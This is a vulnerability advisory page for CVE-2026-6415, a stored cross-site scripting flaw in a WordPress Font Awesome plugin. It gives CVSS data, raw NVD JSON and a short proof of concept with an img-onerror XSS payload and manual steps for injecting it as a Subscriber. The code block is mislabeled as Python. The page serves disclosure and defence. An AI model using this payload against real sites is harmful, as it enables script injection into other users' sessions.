Security Vulnerability Report
中文
CVE-2026-6415 CVSS 6.4 MEDIUM

CVE-2026-6415

Published: 2026-05-15 09:16:17
Last Modified: 2026-05-15 14:09:16

Description

The Advanced Custom Fields: Font Awesome plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 5.0.2. This is due to insufficient input validation of JSON field values and unsafe client-side HTML construction in the update_preview() JavaScript function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Advanced Custom Fields: Font Awesome <= 5.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* PoC for CVE-2026-6415 Description: Simulate sending a malicious payload to the vulnerable JSON field. The payload is designed to trigger an alert when the update_preview() function processes it. */ // Malicious payload exploiting the unsafe HTML construction const payload = '<img src=x onerror=alert("CVE-2026-6415-Exploited")>'; // Simulating the vulnerable JSON structure expected by the plugin const maliciousData = { field_key: "font_awesome_field", value: payload }; // Example request to update the field (Conceptual) // In a real scenario, this would be sent to wp-admin/admin-ajax.php or the post edit endpoint console.log("Injecting payload:", JSON.stringify(maliciousData)); /* To test manually: 1. Log in as a Subscriber. 2. Edit a post/page containing the Font Awesome field. 3. Input the payload into the vulnerable field. 4. Save/Preview. 5. Observe the XSS execution in the admin dashboard. */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6415", "sourceIdentifier": "[email protected]", "published": "2026-05-15T09:16:17.117", "lastModified": "2026-05-15T14:09:15.910", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Advanced Custom Fields: Font Awesome plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to and including 5.0.2. This is due to insufficient input validation of JSON field values and unsafe client-side HTML construction in the update_preview() JavaScript function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/advanced-custom-fields-font-awesome/tags/5.0.2/assets/js/input-v6.js#L11", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/advanced-custom-fields-font-awesome/tags/5.0.2/assets/js/input-v6.js#L12", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/advanced-custom-fields-font-awesome/trunk/assets/js/input-v6.js#L11", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/advanced-custom-fields-font-awesome/trunk/assets/js/input-v6.js#L12", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3525840/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a7a53ba2-e983-4821-b3de-105a96b7cb0e?source=cve", "source": "[email protected]"}]}}